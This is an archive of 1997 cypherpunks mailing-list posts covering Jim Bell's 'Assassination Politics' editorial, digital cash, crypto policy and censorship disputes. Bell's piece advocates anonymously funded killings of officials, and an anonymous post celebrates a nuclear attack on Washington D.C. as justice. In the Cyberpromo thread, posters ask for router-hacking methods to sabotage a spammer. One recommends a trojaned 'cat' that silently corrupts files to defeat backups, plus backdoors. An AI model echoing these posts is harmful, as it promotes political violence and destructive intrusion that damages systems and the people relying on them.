Date: Wed, 7 May 1997 22:42:02 +0800
To: cypherpunks@cyberpass.net
Subject: My editorial in Oregonian newspaper published today.
Message-ID: <199705061458.HAA08763@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


The following editorial appears in the Tuesday, May 6 issue of the
(Portland) Oregonian newspaper, on the editorial page.



Fishing Expedition Swims Against Tide

According to the maxim, if you invent a better mouse-trap the world will
beat a path to your door.  Maybe the truth is that, instead, you'll get
assaulted by angry cats who are afraid of losing their jobs.

Suppose the government discovered a method to make itself obsolete.  Or
suppose the military learned how to make us all even more secure, for a
thousandth as much defense spending.   We'd never hear about it because
they'd be out of a job, and job security, not national security, is their
highest priority.

Two years ago I had a revolutionary  idea.   I was tired of hearing the
usual stories about how much harder society's problems have gotten in the
last few decades.    It's not that the problems are harder, it's just that
large constituencies have been built which depend on these "problems"  for
their income.  

For example, when the Cold War ended,  there was no military reason we
couldn't have reduced our military budget by a factor of two or three.
"But no!,"  said the politicians, let's continue buying those expensive
Stealth bombers, submarines, tilt-wing airplanes, and other toys. We weren't
afraid of getting attacked, the spending continued because of the threat of
unemployment on the part of the defense-industry workers. 

Legalize drugs and turn a vast legal problem into a far cheaper and more
manageable health problem?  No, because with 70% or more of the prison
population there due to drug laws, you'd have to fire most of the jailers,
the prosecutors, the police, the judges, and the lawyers, all of whom have
come to depend on the involuntary "generosity" of the taxpayer.

Two years ago I realized that the whole corrupt system could be stopped.  It
would be necessary to not only halt pork-barrel politics at all levels, but
also to provide a very few necessary services for people, such as defense
and justice, although financed inexpensively and voluntarily.   You'd have
to shut down all militaries and governments, simultaneously, all around the
world, while at the same time protecting our security.  Impossible?

In the summer of 1995 I began to write an essay, half-jokingly titled
"Assassination Politics".    It occurred to me that if people could defend
themselves by anonymously donating money to anonymous people who act to
protect us, you wouldn't need militaries or governments anymore.   Nuclear
bombs would be obsolete, and in fact they will be hopelessly  dangerous to
anyone who owns them, because the rest of us will be able to donate money to
ensure their owners have no choice but to dismantle them.  Conventional
militaries will be useless,  because threats to people's security will be
dealt with far more cheaply by large numbers of tiny individual
contributions buying the part-time services of a few semi-professional
trouble-shooters.   

Murderous dictators of the past and present,  such as Hitler, Stalin, Mao,
Pol Pot, Saddam Hussein, Khadafi, Idi Amin,  and so many others simply
couldn't operate in such a world, because they (and their replacements, if
anyone dared follow them) could be removed for the collective pocket change
of a few million angry citizens.

There'd be no conventional wars, because anyone who would make war would be
a threat not only to his enemy, but also to anyone on "his" side who would
be forced to help pay for that war, or even third parties who wouldn't want
to see aggression win, for fear they'd be the next target.  There would be
no draft, because forcing someone else to fight for you makes YOU his enemy,
as well: On the other hand, if your cause is just, he will contribute
voluntarily, just as you do, to see the bad guy stopped. 

There would be little crime, because crime will be treated as an attack, and
people will be able to donate money to find and stop the criminals.  But
unlike today, there will be no large constituency (police, jailers, judges,
prosecutors, lawyers) who have a vested interest in keeping the crime rate
high, thus terrorizing the public into supporting "anti-crime spending"
which really just lines their pockets.

I've been openly debating the idea on the Internet since then with anyone
who will listen.  My essay  surprises many and shocks more than a few, but
I am pleased that such a truly revolutionary concept has been so well
received.   Even the Columbian newspaper (www.columbian.com) has decided to
add a pointer to the essay.

The only "threat" in the essay is to the jobs of the people who have been
parasites on the rest of us for decades, as well as to the future of
tyrannies around the world.  But that's why,  on April 1, twenty Federal
agents burst in and took my computer,  told the news media I was "armed and
dangerous," and began engaging in a fishing expedition including harassing
people simply for knowing me.  (No arrest or charges so far.)  They may
claim that they were looking for something else, but what they are really,
desperately hoping to find is...job security.  If I'm right, they have none.

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 6 May 1997 22:50:11 +0800
To: cypherpunks@toad.com
Subject: Re: (fwd) Cell Phone Cancer Study
Message-ID: <1.5.4.32.19970506142235.0083d2e4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


As follow up to the Stewart Fist report on new findings
of cell-phone hazards, the Jerusalem Post says that
the report is causing alarm in Israel -- where cell-phones
are heavily used -- and that the government intends to 
investigate. Motorola et al are hunkered.

The scientific study is in the journal "Radiation Research,"
Volume 147, Number 5, May 1997:

   http://www.cjp.com/radres/html/may97toc.htm

   Michael H. Repacholi, Antony Basten, Val Gebski, Denise 
   Noonan, John Finnie and Alan W. Harris

   "Lymphomas in Emu-Pim1 Transgenic Mice Exposed to Pulsed 
   900 MHz Electromagnetic Fields" (p. 631)

However, there is not an on-line version, unless someone knows
of it elsewhere. What say the cellular folks here to this story?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 7 May 1997 04:49:46 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <199705041819.LAA00411@crypt.hfinney.com>
Message-ID: <19970506105325.64305@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, May 05, 1997 at 03:00:09PM -0400, Ray Arachelian wrote:
> On Sun, 4 May 1997, Hal Finney wrote:
> 
> > Presumably records are kept to protect against various risks.  Without
> > that protection, you need other means to control the risk.  But if those
> > means exist and they are cheaper than record-keeping, then again even
> > without anonymity it should be cheaper to use those methods in place of
> > the records.
> 
> Records are kept for (a) tax compliance, (b) as a way of further 
> marketting spam that tracks usage/purchase patterns.  Presumably the 
> marketting weasels require this info because of their belief that doing 
> so will increase sales in the long run.

Speaking of risks, if I have several billion dollars worth of fully
anonymous, fully fungible digital cash sitting on my hard disk, how do
I protect it from loss, theft, or damage? If I encrypt it somehow, and
forget my key, I am out a lot of money.  If the disk is sitting on a 
vanilla computer of some sort, I have to worry about the security of 
the OS.  I have to worry about a disk crash destroying my fortune.  
In short, I have security concerns.

I mention this because one of the costs of cash is protecting it.  
For large sums this cost is non-trivial.  This will be true with 
digital cash as well.

One of the purposes of banks is to provide a secure storage 
infrastructure.  But if you put your ecash in a bank you damn well 
want to be sure that you can get it back, which means that the bank 
*must* have records associating your deposits with you (or your 
nym).

With computers, record keeping is cheap, but security is expensive.  
The cost of securing records is inversely related to the amount of 
public exposure -- the more people know something, the harder it is 
to alter the data.

With ecash you don't have just the abstract value of information as a 
motivation for thieves -- you have real money, and, with current 
computer security levels, an essentially open target, crypto or not.

Therefore, anonymous transactions do have costs that non-anonymous 
ones do not, and this cost differential potentially grows 
non-linearly with the amount involved.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Wed, 7 May 1997 02:22:30 +0800
To: cypherpunks@algebra.com
Subject: Jim Bell in the Oregonian
Message-ID: <Pine.GSO.3.96.970506110459.11B-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Bell has an editorial (with his picture) in the Oregonian. (Morning
edition, May 6th, 1997 page B-9.)  It takes up about a quarter of the
page.

It is an interesting read.  It does not address the problems with AP, but
it does deal with the raid and other issues involved.

Jim might consider posting a copy of the original article here.  Given the
Oregano's love of cut-and-paste journalism, it would be interesting how
the original and print versions differ.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Wed, 7 May 1997 02:28:22 +0800
To: cypherpunks@algebra.com
Subject: Hacking the Crypto Ban
Message-ID: <Pine.GSO.3.96.970506110927.11C-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


An article in "Intelectual Property" magazine on hacking around the crypto
export ban at http://www.ipmag.com/crypto.html .  Get it while it is still
there.

Goes into great length about the EAR and those Hamletionians pouring
poison into it.  (Sorry...  Started channeling John Young there for a
moment...)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 7 May 1997 00:43:58 +0800
To: ichudov@algebra.com
Subject: Re: Controversial Commercial ISP for Remailer?
In-Reply-To: <199705060254.VAA17328@manifold.algebra.com>
Message-ID: <Pine.SUN.3.91.970506115553.20708G-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 5 May 1997 ichudov@algebra.com wrote:

> Let's say, what if instead of spamming Prof. Arachelian hacks Cyberpromo
> and deletes all files there? Would it also be inconsistent, in your
> view?

Fictionally speaking, if the Prof. (when did I earn that title?) does 
hack Cyberpromo, the Prof wouldn't delete all the files, for doing so 
would simply cause them to restore their files from tape thus cause not 
much to happen.  No, were I to do something like that (and I wouldn't) it 
would have to be something that would keep them down for a long time, not 
for eight hours while their tape drive restores stuff.

Any suggestions as to what this would be for those out there willing to do
such a deed? :) My own suggestion would be to hack into the routers
surrounding them and set them up to connect any attempts to connect to
machines outside cyberpromo.com on port 25 back to cyberpromo's own sendmail
server.  Setting up their sendmail configs to do the same would also be a
nice backup.  That would be IMHO a proper hack.  (Anyone care to share router
hacking techniques, and how to do such a thing?-- Again, not that I would 
do this myself.)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 7 May 1997 00:38:15 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: [Off Topic - Vulis] Re: Controversial Commercial ISP for Remailer?
In-Reply-To: <y8R06D21w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970506120658.20708K@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 6 May 1997, Dr.Dimitri Vulis KOTM wrote:

> It certainly would be consistent with other terrorist acts perpetrated
> by Armenian criminals off and on the net - such as the genocide of
> the 2 million Moslems and Sephardic Jews in this century alone.
> 
> I am not surprised that Arachelian's employer, Earthweb, condones his
> spamming.  They sound like a thoroughly corrupt and criminal organization,
> since they even employ Arachelian as a network administrator.

ROTFL! To quote the infamous snow:
"Pot. Kettle. Black."

A better question would be: How many people did you and your bots and 
your cohorts spam in this century alone?  [Including Moslems, and Jews]
And how many flame wars have you ignited?  

(And I promise that I won't tell anyone that you ate ham and cheese
sandwitches with your white bread on passover unless I do so in public.) 
:)

Now that I think about it... I suppose since Earthweb sells Java, and java
contains caffeine (virtual mind you) and caffeine is addictive, you could say
Earthweb is a virtual "drug" dealer, but corrupt and criminal?  Ha!  

Oh, before I forget, remind me to send you a pack of Oren's Earthweb Blend
coffee (which we give out at trade shows) one of these days.  The first pack
is free, once you're addicted... errrr... if you like it you can order 
more from Oren's Daily Roast.  <evil grin>

 -- End of this off topic thread.  Hehehhe! :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 7 May 1997 01:14:28 +0800
To: cypherpunks@toad.com
Subject: CALEA Comments
Message-ID: <1.5.4.32.19970506163454.0071c470@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The FBI has published today in the Federal Register
industry comments and its responses to Section 104(d) 
of the Communications Assistance for Law Enforcement 
Act, 2nd Notice of January 14, 1997, and requests
additional comments:

   http://jya.com/fbi050697.htm  (33K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Wed, 7 May 1997 06:33:56 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Controversial Commercial ISP for Remailer?
Message-ID: <199705061935.MAA13079@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov writes:
> Dave Hayes wrote:
> > Judgementally speaking, if you spam, you may not continue to condemn
> > spammers and be consistent.
> Let's say, what if instead of spamming Prof. Arachelian hacks Cyberpromo
> and deletes all files there? Would it also be inconsistent, in your
> view?

What makes you think that my view of consistency has anything to do
with this action?
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

Man will occasionally stumble over the truth, but most of the time he will
pick himself up and continue.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael  F. Reusch" <reusch@pluto.njcc.com>
Date: Wed, 7 May 1997 03:16:53 +0800
To: cypherpunks@cyberpass.net
Subject: CBD - DEA - TELEPHONE MONITORING DEVICE
Message-ID: <3.0.1.32.19970506131529.00699ec0@mail.njcc.com>
MIME-Version: 1.0
Content-Type: text/plain


http://www.ld.com/cbd/archive/1997/04(April)/30-Apr-1997/58sol008.htm

Commerce Business Daily, April 30, 1997

Drug Enforcement Administration, Office of Acquisition Management, 
700 Army Navy Drive, Arlington, Virginia 22202

58 -- SOURCES SOUGHT -- TELEPHONE MONITORING DEVICE SOL 97-SP0453 POC
Yolanda Jordan, Purchasing Agent, (202) 307-7805 The Drug Enforcement
Administration (DEA) is seeking to identify qualified sources to provide a
telephone data recording system which will provide management with the
following: 
1) provides for centralized management; 
2) has synchronized agent directories; 
3) multiple leveled and layered, user profile security;
4) a strategic framework to support future functionality 
5) easy-to-use for users; 
6) automate and simplify the entire monitoring process of voice and data; 
7) provide an objective approach to personnel evaluation and analysis; 
8) provide insight into the effectiveness of the software applications and
hardware systems being used by employees;
9) provide a training tool for employees, classroom environments and peer
group sessions; 
10) provide a means for fraud detection; 
11) work in oracle local area network. this system shall perform on-line
evaluation, product data, analysis/report of telephone conversations and
customer account screens across a wide area network. 

This information will also need to provide storage for data for three to
six months. This announcement is not a Request for Proposal or Request for
Quotation. there is no solicitation/RFQ available. We request that
interested sources submit a capability statement that clearly identifies
their capabilities by May 27, 1997 to U.S. Department of Justice, Drug
Enforcement Administration, 700 Army Navy Drive, Arlington, VA 22202, Attn:
Yolanda Jordan. Any questions should be directed to Ms. Yolanda Jordan at
202-307-7805. DEA does not intend to award a contact on the basis of this
request for information or otherwise pay for the information solicited.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "DataET Research Data Engineering Technologies" <dataet@hotmail.com>
Date: Wed, 7 May 1997 06:53:48 +0800
To: cypherpunks@toad.com
Subject: Custom programming, Web site design & development, and more.
Message-ID: <199705062233.PAA27824@f42.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


Visit DataET Research, an excellent source for high-quality, but extensively 
inexpensive, software development and marketing solutions.

SERVICES:

o Custom Software Development Service
o Custom Database Application Development Service
o Help File / System Development Service
o Installation Program Development Service
o Shareware Distribution & Marketing Service
o Trial Usage Tracking System Development Service
o Web Site Design & Development Service
o Press Release Distribution Service

If you are interested in having a spectacular Web site or customized software 
package developed for your organization, VISIT: http://www.dataet.com.

Free cost and time estimates are given.

PRODUCTS:

o VSA2048 Crytography (Encryption) Module
o VSA2048 QuickCrypt (Encryption)

If you are interested in trying out the latest encryption software developed by 
DataET Research, VISIT: http://www.dataet.com.

Shareware trial edition versions are available.

DataET Research
Data Engineering Technologies
VISIT: http://www.dataet.com


---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: root <root@fatmans.demon.co.uk>
Date: Wed, 7 May 1997 03:10:16 +0800
To: cypherpunks@cyberpass.net
Subject: Re: (fwd) Re: XS4ALL censored pages (fwd)
Message-ID: <Pine.LNX.3.91.970506154330.877A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Tue, 6 May 1997 13:03:06 +0200 (MET DST)
From: Felipe Rodriquez <felipe@xs4all.nl>
To: Alex de Joode <usura@replay.com>
Cc: root@fatmans.demon.co.uk
Subject: Re: (fwd) Re: XS4ALL censored pages (fwd)

Hi,

Plz forward this to the cypherpunk list:

> As we guessed XS4ALL don`t even have the guts to send us a copy of the 
> pages they censored. Check this out...
> 
> 
> >>Postmaster,
> >>
> >>Please send me a copy of your current pricing for web space.
> >>Also, please send me a copy of the marajuana pages you recently removed 
> >>from your web server.
> >
> >Hearby you recieve information about all services from xs4all.
> >
> >We don't know anything about marajuana pages so we can't send you a copy of
> >that.

The simple reason that a copy cannot be sent is that we have no such
copy. The Dutch police have asked us to remove these pages, because
they where being used to sell and distribute marihuana, hashish and
XTC. These drugs had been distributed to countries like France,
England and Japan. Through Interpol these countries had requested the
dutch police to take action against these pages. If Xs4all would not
have removed the pages we'd have been target of a criminal
investigation.


Kind regards,


	Felipe Rodriquez






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: baby-X <baby-x@slowdog.com>
Date: Wed, 7 May 1997 07:30:39 +0800
To: cypherpunks@algebra.com
Subject: Re: Jim Bell in the Oregonian
In-Reply-To: <Pine.GSO.3.96.970506110459.11B-100000@linda.teleport.com>
Message-ID: <Pine.LNX.3.96.970506161804.12367A-100000@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 6 May 1997, Alan wrote:

> Jim Bell has an editorial (with his picture) in the Oregonian. (Morning
> edition, May 6th, 1997 page B-9.)  It takes up about a quarter of the
> page.
> 
> It is an interesting read.  It does not address the problems with AP, but
> it does deal with the raid and other issues involved.

Actually it only barely mentions the raid, at the end of the piece. Most of
the piece talks about AP in some fashion.


============================================================================
 baby-X                                               SLUGGISH CANINE SHACK
 baby-x@slowdog.com                                         www.slowdog.com
============================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Wed, 7 May 1997 10:12:27 +0800
To: Alan <cypherpunks@algebra.com
Subject: Re: Jim Bell in the Oregonian
Message-ID: <199705070152.SAA13143@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:09 5/06/97 -0700, Alan wrote:
>
>Jim Bell has an editorial (with his picture) in the Oregonian. (Morning
>edition, May 6th, 1997 page B-9.)  It takes up about a quarter of the
>page.
>
>It is an interesting read.  It does not address the problems with AP,

Given that the article was, more or less, limited to 800 words (it actually
runs about 40 over this informal limit) it is by no means surprising that it
"does not address the problems [sic] with AP."

Why would you think it would?!?


> but
>it does deal with the raid and other issues involved.

And I've already posted it, but it probably hadn't appeared to most CP
subscribers, certainly not by the time you posted your note, and maybe not
even when I post this note.

>
>Jim might consider posting a copy of the original article here.  Given the
>Oregano's love of cut-and-paste journalism, it would be interesting how
>the original and print versions differ.

I didn't seen any substantial changes to the body of the article, although
my preferred title wasn't used.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 7 May 1997 10:15:38 +0800
To: cypherpunks@algebra.com
Subject: AP --> AR
Message-ID: <199705070153.SAA19795@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May verily saith [paraphrase]:

> I would cry few tears if D.C. got nuked

This will be an historical event of importance comparable to the 
American Revolution and the fall of the Berlin Wall.

Even now Clinton and his organization are pointing weapons of mass terror and 
murder at hundreds of millions of people around the world, and other
leaders of these gangs with weapons too murderous to be called
gangs, these terrorists far too terrifying to the called terrorists,
are pointing their weapons at us.  Far from enemies, the supergang
chieftans contribute to each others' campaigns, turning democracy
into a sick joke.  The fact of friendship between super-terrorist
leaders does not stop them from threatening us with terror and death in 
the name of "defense" against "enemy nations", and by the most
bizarre hypocrisy ever dreamed up by the mind of man, trampling our
rights in the name of controlling "terrorism".  The supreme justice 
will be done when these weapons of mass terror are turned back 
on their wielders and those proximate who have failed to use their   
proximity to bring these ultimate criminals to justice.  Those
innocents who die will be mourned as saviours for the many tens
of millions who would have been murdered by governments in the twenty 
first century, as they have been in the twentieth.

I live about one hundred-fifty miles away from that fetid place, sometimes
downwind.  The risk to my family from the fallout is fairly small
compared to the risks we face every day from these super-terrorists
pointing weapons at us, threatening us constantly, sometimes murdering
us outright when they can cook up a good enough story to justify it
on the evening news.  The money I have to spend to protect 
my family from the fallout, and from any temporary economic setback to
our region, would be earned back in less than a year of not having my 
livelihood sucked away by these mass murdering parasites, and the very lives
of my beloved family, my lovely wife, my son and my two daughters,
threatened by their thug friends and campaign contributors 
overseas.   D.C. may lead the nation in personal crimes, but these
are as nothing next to the crimes it has committed against the peoples
of the rest of the nation and the world.  These self-legalized criminals 
have in this administration alone murdered more children than Charles Manson 
killed adults.

AP may be more targeted, but it just doesn't do the crimes justice.
For that will come AR -- appropriate response. 


"John the Baptist"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 7 May 1997 19:10:30 +0800
To: cypherpunks@toad.com
Subject: The Executive State
Message-ID: <v03020991af956ead8e46@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Tue, 6 May 1997 10:46:19 -0700
From: thomasu@mail.auburn.edu
To: misesmail@colossus.net
Subject: The Executive State
Sender: owner-misesmail@colossus.net
Precedence: Bulk

The Executive State:
The U.S. Presidency vs. American Liberty

	When President Clinton asked golfer Tiger Woods to join him at an official
propaganda event, and even offered to send Air Force One, Tiger answered as
every freedom-loving American should: he had something better to do. He was
going on a vacation with some college chums.

	Tiger has his priorities straight, but his turndown is another indication
that the presidency is shrinking as an institution. It still commands, but
no longer compels, our undying (or dying) obedience, no matter how many
monuments are erected to despots on the Washington Mall. This trend is all
to the good.

	The legacy of presidential autocracy from the earliest days of the
republic to the present survives in the form of the executive state. But
where can you go in the library to find the truth about the havoc U.S.
presidents have wrecked on the American promise of freedom? Virtually
nowhere. The official history of the presidency reads like the Lives of the
Saints.

	The Mises Institute intends to do something about this. In the Fall of
1998, we're holding a major academic conference on the American presidency.
Our purpose is to debunk the conventional view that the more power he's
usurped, the better off the American people are.

	All the presidents qualify for study, but we are especially interested in
the checkered careers and dictates of Polk, Lincoln, McKinley, Roosevelt I,
Wilson, Roosevelt II, Truman, Johnson, Nixon, and Reagan.

	If you're a scholar and would like to participate with a paper on some
aspect of a presidential power grab (or one of those few occasions when a
president did some good) let us know. An abstract is all that's necessary
to be considered now.

The Ludwig von Mises Institute
Auburn, Alabama 36849-5301
334-844-2500; fax: 334-844-2583

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 7 May 1997 09:49:39 +0800
To: dave@kachina.jetcafe.org (Dave Hayes)
Subject: Re: Controversial Commercial ISP for Remailer?
In-Reply-To: <199705061935.MAA13079@kachina.jetcafe.org>
Message-ID: <199705070135.UAA24857@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dave Hayes wrote:
> 
> Igor Chudov writes:
> > Dave Hayes wrote:
> > > Judgementally speaking, if you spam, you may not continue to condemn
> > > spammers and be consistent.
> > Let's say, what if instead of spamming Prof. Arachelian hacks Cyberpromo
> > and deletes all files there? Would it also be inconsistent, in your
> > view?
> 
> What makes you think that my view of consistency has anything to do
> with this action?

I am interested in your view, Dave.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 7 May 1997 10:10:13 +0800
To: sunder@brainlink.com (Ray Arachelian)
Subject: Re: Controversial Commercial ISP for Remailer?
In-Reply-To: <Pine.SUN.3.91.970506115553.20708G-100000@beast.brainlink.com>
Message-ID: <199705070140.UAA24968@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


some of the best hacks that I heard was to install a trojan
instead of, say, cat, that would randomly change one byte in 
a randomly chosen file.

this is hard to notice, and when you do notice that, all the backups are
useless.

basically, install lots of backdoors and then play with their minds.

some ppl would steal CC# of their customers and publish them, but I would
not do it.

igor

Ray Arachelian wrote:
> 
> On Mon, 5 May 1997 ichudov@algebra.com wrote:
> 
> > Let's say, what if instead of spamming Prof. Arachelian hacks Cyberpromo
> > and deletes all files there? Would it also be inconsistent, in your
> > view?
> 
> Fictionally speaking, if the Prof. (when did I earn that title?) does 
> hack Cyberpromo, the Prof wouldn't delete all the files, for doing so 
> would simply cause them to restore their files from tape thus cause not 
> much to happen.  No, were I to do something like that (and I wouldn't) it 
> would have to be something that would keep them down for a long time, not 
> for eight hours while their tape drive restores stuff.
> 
> Any suggestions as to what this would be for those out there willing to do
> such a deed? :) My own suggestion would be to hack into the routers
> surrounding them and set them up to connect any attempts to connect to
> machines outside cyberpromo.com on port 25 back to cyberpromo's own sendmail
> server.  Setting up their sendmail configs to do the same would also be a
> nice backup.  That would be IMHO a proper hack.  (Anyone care to share router
> hacking techniques, and how to do such a thing?-- Again, not that I would 
> do this myself.)
> 
> =====================================Kaos=Keraunos=Kybernetos==============
> .+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
> ..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
> <--*-->| ------------------ |                                        |\/|\/
> ../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
> .+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
> ======================== http://www.sundernet.com =========================
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 7 May 1997 20:50:29 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Rape, death and XS4ALL
In-Reply-To: <Pine.LNX.3.91.970505102129.509B-100000@fatmans.demon.co.uk>
Message-ID: <199705071233.HAA30664@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <Pine.LNX.3.91.970505102129.509B-100000@fatmans.demon.co.uk>, on
05/05/97 at 04:37 AM,
   Paul Bradley <paul@fatmans.demon.co.uk> said:




>> > > A ban on all handguns even when registered (currently all pistols above 
>> > > .22 are banned and all guns have to be registered in a process whereby if 
>> > > the applicant for a certificate has any history of political dissention 
>> > > or crime (eg. Smoking a joint, the ultimate sin against society) the 
>> > > certificate will be refused.
>> 
>> What would be an example of such political dissention?

>Well, I`m pretty sure that, having recently been involved in campaigns 
>against the ban on handguns, written to a number of people in positions 
>of power over the proposed TTP scheme in the DTI white paper etc. my 
>firearms licence will not be renewed the next time it comes up for review.
>The powers that be now presumably see me as a loon.

>A damning enditement on the British people is that last time I mentioned 
>to someone my having written to the home office and others over the 
>proposed gun ban I was called a lunatic and told "The sort of person who 
>writes to the home office over something like that is the least suitable 
>to have a gun".

>I can assure you this is not a one-off, this happens every time people who
> don`t shoot find out I do. They have been brainwashed by the  tabloid
>press, for example, the daily mail ran a particularly vitriolic  hate
>campaign against gun owners singling out Albie Fox, leader of the 
>campaign against the ban, and calling him a "Gun obsessed lunatic". This,
>recall, is the same daily mail which rants every day about the  "evil of
>drugs" and how the only way to "save society" is to throw  everyone who
>doesn`t support their particular brand of bigoted fanaticism  into jail
>for the rest of their life.

>And of course, one would imagine that those who actually owned guns and 
>used them for sport themselves would be the most informed people who 
>would realise that the criminal use of guns is at the opposite end of the 
>scale to the sporting use allowed in British law. However, I know several 
>people who have said "I`m happy to give up my guns if it will save 
>lives", to this I simply reply "who were you going to kill?" then walk 
>away, these people don`t even deserve correcting as their bullshit is so 
>deep.

>In addition, when the police revoke or refuse to renew a firearms 
>certificate, they do not need to give a reason, so one cannot even prove 
>that it was because of speech or opinions they didn`t like that they 
>revoked the certificate. Even if you could, it is unlikely a challenge in 
>court would succeed, the UK does not have the same free speech guarantees 
>as are given in the US and elsewhere, and any court challenge would fail, 
>of that I am sure.

>Also, to worsen the situation, the labour party has now come to power and 
>as I have already explained in a previous post this make matters even
>worse.

Well wait until after the next elections when we have a Republican
administration and apply for political asylum. :)

Someday the revolution will come and we can roundup all these bastards for
"crimes against Democracy". Anyone for Nurnburg II? -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: If at first you don't succeed, work for Microsoft.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3CF049Co1n+aLhhAQEm5gQAtPEEiYlY74JxyTlBb3vFj5/bBC5WnyjN
GnQV2MCykLVq0Y2KoRNEYXuuuEOwAAm58cdG468RoIKlpR1b88jZy37x9xUVC4U2
DZFUW8GSt3wLA81NCrNAARCCCHAVXMr8l/Ron0otBnPWCGgB2jYh58WZdNA0Cbed
JzhOjEgM2w8=
=/ZF/
-----END PGP SIGNATURE-----





